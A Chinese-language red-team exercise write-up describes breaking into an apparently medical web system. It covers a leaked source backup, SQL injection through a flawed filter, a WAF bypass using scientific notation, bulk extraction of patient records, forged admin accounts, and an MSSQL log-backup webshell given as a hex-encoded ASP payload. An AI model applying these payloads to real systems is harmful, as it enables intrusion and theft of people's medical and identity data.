记一次攻防演练

littlebird

​
0x00 前言在一次市级的攻防演练中，通过目录扫描发现了源码之后的一系列操作，大概历程是从代码审计发现sql注入，想利用sql注入取出数据发现被waf拦截，之后绕过waf，取出数据md5解密失败，配合代码审计以及SQL注入插入管理员信息进入后台，利用后台的执行语句功能通过log备份进行getshell。本来想写详细一点，但是由于在复盘时，网站正好在整改，截图只有用报告中的了，师傅们将就着看吧
0x01 发现源码通过前期的信息收集，对网站进行目录扫描，直接用御剑的大字典扫到备份文件wwwroot.zip

​

编辑
0x02 源码审计由于是攻防演练，这里重点关注危害影响较大的漏洞。
敏感信息泄露在下载完源码文件之后，首先肯定是要先看下配置文件。在配置文件中，可以看到此时连接mssql用的是内网ip地址，导致了不能直接外连。除此之外还需要特别注意的是数据库密码是(目标网站系统名的缩写+_1)，比如说网站名是先知社区，而这数据库密码设置成了xzsq_1。后期的话可以利用此关键字进行字典的生成

​

编辑
除此之外，我们还需关注日志文件中的信息。有时候日志文件中会泄露后台信息，管理员账号密码等敏感信息。在这套源码中，通过对源码里面的日志文件进行分析发现大量信息泄露

​

编辑
泄露数据类型包括姓名，电话，个人病例信息。但是log日志文件太大了，怎样证明其中的数据量呢。可以通过一个python脚本对日志中的电话号码进行提取，根据其结果得出数据量多少，然后嘎嘎拿分

​

编辑
文件上传在.net中.aspx或者.ashx一般是网页文件，.cs一般是后端逻辑代码。在对目录进行浏览时，发现有一个编辑器。发现其可以进行上传文件，于是对上传文件处看了下。
可以看到这里实际上是有鉴权处理逻辑的，并且这里的文件上传代码是白名单，上传的后缀内容都是由配置文件中写好了

​

编辑
在配置文件中,设置了PermitUpload为Y，所以不需要登录后台用户就可以上传文件

​

编辑
而文件上传的后缀也被限制住了,对方中间件又是iis10.0，无解析漏洞利用。

​

编辑

不过看到这里有个pdf的后缀，如果是在src这种场景下可以尝试下pdf xss，有时候厂商也会接收
除了这里的编辑器处可以上传外，可以看一下例如upload.aspx,file.aspx这种命名的aspx文件。在这里file.aspx里面全是html代码，除了一开始引用这个dll文件的代码

​

编辑

使用ILSPY文件对对应的dll文件进行反编译，可以看到会调用UpFile函数进行文件上传。

​

编辑
跟踪UpFile函数，发现其是白名单，通过配置文件写死了，通过文件上传getshell的想法基本上没戏了。

​

编辑

本来还想找下有没有什么上传的接口没有调用UpFile函数上传，但是看了下，都是调用了UpFile函数进行上传。
SQL注入在审计时发现传递进来的参数会调用ReplaceUrlBadChar函数进行过滤。

​

编辑


ReplaceUrlBadChar函数内容如下:

​

编辑
相信有师傅已经看出了此过滤函数的问题所在，这里明显存在双写绕过，并且过滤的关键字并不齐全。如果存在数字型的注入，完全可以使用双写来进行绕过。

​

编辑


并且由于此写法导致了每一个传进来的参数都要调用ReplaceUrlBadChar来过滤，这样势必会导致开发人员遗漏一两个参数没有调用ReplaceUrlBadChar函数进行过滤，从而导致sql注入。
所以此时有两种思路，第一种就是找调用了ReplaceUrlBadChar函数的数字型注入,第二种则是直接找没有调用ReplaceUrlBadChar函数的参数。
接下来也是成功找到了三处sql注入点
SQL注入点一
可以看到此处user_id参数通过cookie形式传入，直接拼接到sql语句中，导致sql注入

​

编辑

payload:
user_id=-42681 union select 1,2,user,db_name/**/(),5,6,7,8,9,10,11,12,13,14--++;

​

编辑

SQL注入点二
代码段跟SQL注入点一相同，只不过此时是GET参数card_id存在SQL注入

​

编辑


同样直接拼接，导致这里存在SQL注入。可以通过布尔盲注的形式证明

​

编辑

​

编辑



SQL注入点三
跟SQL注入点二类似，参数user_id存在注入，同样可以用布尔盲注的形式证明存在SQL注入。

​

编辑


0x03 绕过waf通过之前的代码审计，我们已经挖掘到了SQL注入。但是正当我想进一步拿出数据时，遭到了waf的拦截。

​

编辑


虽然代码层面没有任何防护，但是它有一个挺厉害的waf。这也是为什么之前SQL注入点一是用联合注入直接爆当前数据库信息，而注入点二三则是仅仅通过布尔盲注证明一下，因为GET型注入与cookie型注入比较，明显后者waf的拦截规则更少，更容易突破。
此时我们来绕过waf。经过不断地fuzz发现，对于cookie型注入的规则，这个waf的拦截对于select[位置一]from[位置二]特别严格。
期间我尝试使用如下payload来绕过都无济于事
​

1. 位置一:
   
2. union select+1
   
3. union select-1
   
4. union select.1
   
5. union select:1
   
6. union select~1
   
7. 包括在此间插入各种空白符号
   
8. 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
   
9. 以及注释符都没用
   
10. 
    
11. 位置二:
    
12. from[xxx]
    
13. from.xxx
    
14. 以及注释符/**/
    
15. 包括在此间插入各种空白符号
    
16. 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

复制代码

​
其中我特别不解的是%0a在cookie中传递过去，虽然可以绕过waf,但是似乎没有被解析成换行符导致语法错误从而爆不出数据。如果%0a能被解析成换行符就能绕过了,可恶!

​

编辑

​

编辑
经过后期不停的fuzz，什么垃圾数据包，分块传输，更换请求方式，利用http协议等方式都失败之后，我几乎要放弃了。但是第二天实在心有不甘，终于fuzz出来了。
总结下就是，拦截规则是拦截select[位置一]from[位置二]，如果位置一是类似于如下规则都会被过滤
​

1. /**/from
   
2. ]from
   
3. %20from
   
4. %09from
   
5. ...

复制代码

但是如果是以下之种，from跟别的字符在一起则不会拦截

1. /**/afrom
   
2. ]bbfrom
   
3. %09efrom

复制代码

​
那么sql语句是否有一种形式能够将字符跟from紧挨在一起而不报错呢，肯定是有的，那就是科学计数法。

​

编辑
如上图，此时waf识别到的是select..Efrom... ,而不是select...from... 。自然不会拦截。
接着配合代码审计部分直接判断出管理员的表名是SysAdmin,存储账号密码的列名是SysAdmin1,SysAdmin2

​

编辑
接着直接出管理员账号密码
user_id=-42681 union select top 1 1,2,3,SysAdmin1,5,6,7,8,9,10,11,12,13,14Efrom Sysadmin--++;

​

编辑

最终拿到账号密码:
Admin/C513C9D645ABB226
但是解密不出。。。。

​

编辑

0x04 提取数据虽然拿到了管理员账号密码，但是无法解密。无法拿到后台权限，但是却可以通过sql注入拿到大量数据，从而得分。此处SQL语句会查询用户的就诊卡信息，就诊卡信息中包括病人姓名，身份证，电话，就诊卡号等敏感信息，令user_id=42681 or 1=1,去遍历42681这个数值，如果存在用户就诊卡信息则会显示对应用户信息，如果不存在则会显示电话为130xxxxxxx的用户信息

​

编辑

利用burpsuite的intruder模块去批量遍历user_id=§42681§ or 1=1 ,可以得到大量病人的数据

​

编辑

返回的数据包如下图，但是利用burp跑的话，怎样将数据提取出来呢，从而证明自己的数据量

​

编辑

实际上burp有对应的功能，将其发送到intruder模块，选择好参数爆破。之后在options选项的Grep-Extract功能下，对其想要提取的数据进行匹配，注意箭头所指的Start after expression和End at delimiten在整个响应包中没有重复的部分，除此之外还要设置可以匹配响应包的长度，因为默认是100，自然是不够的。我这里改成了10000

​

编辑


然后开始爆破，可以看到敏感信息部分被成功提取出来了，但是显示的时候有点乱码，不过不影响，保存之后不会乱码

​

编辑

​

编辑


最终效果如下

​

编辑


0x05 GetShell没有getshell进不了内网是没有灵魂的。所以我选择了接着代码审计，然后发现了在后台，存在执行SQL语句的功能，如果能够进入后台执行SQL语句，利用log日志getshell就好了，诶

​

编辑


想了下，我只有SQL注入，但是密码无法解密。如果有堆叠注入就好了，那么我就能xp_cmdshell或者log日志getshell了。但是实际上在mssql中只要能执行if语句，那么你就能执行绝大多数语句，其中就包括xp_cmdshell。

​

编辑

但是悲催的是这里既不是sa权限，也没有开启xp_cmdshell。通过延时判断没有执行成功

​

编辑

那么究竟要怎么办呢，想了下，既然无法执行xp_cmdshell，但是我可以通过执行插入语句新增管理员来进入后台，再利用后台的执行sql语句功能来getshell
执行插入语句
​

1. user_id=42681 if(1=1) insert into[SysAdmin](SysAdmin1,SysAdmin2,SysAdmin3,SysAdmin5) values('test','A6AFBBCBF8BE7668','test','2099/11/18 12:36:00')--++;

复制代码

​
这里没有截图，就不放图了，但是是可以执行的

​

编辑
之后进入后台之后发现后台分了权限的，自己新增的test用户权限不够，于是将admin用户的密码改了，然后进入后台
user_id=42681 if(1=1) update[SysAdmin]set SysAdmin2='a6afbbcbf8be7668' where SysAdmin0=1--++
进入后台之后，来到执行SQL语句功能处

​

编辑

通过log日志来getshell,当然这里我用的是免杀马子
​

1. backup database xxxx_db to disk = 'd:/wwwroot/logs/2019-12-20.bak'with init;
   
2. alter database[xxxx_db]set RECOVERY FULL;
   
3. create table[test_tmp](img image);
   
4. insert into [test_tmp](img) values (0x3C25657865637574652872657175657374282261222929253EDA);
   
5. backup log gxzyy_db to disk = 'd:/wwwroot/m/hacc.aspx'

复制代码

​

​

编辑
​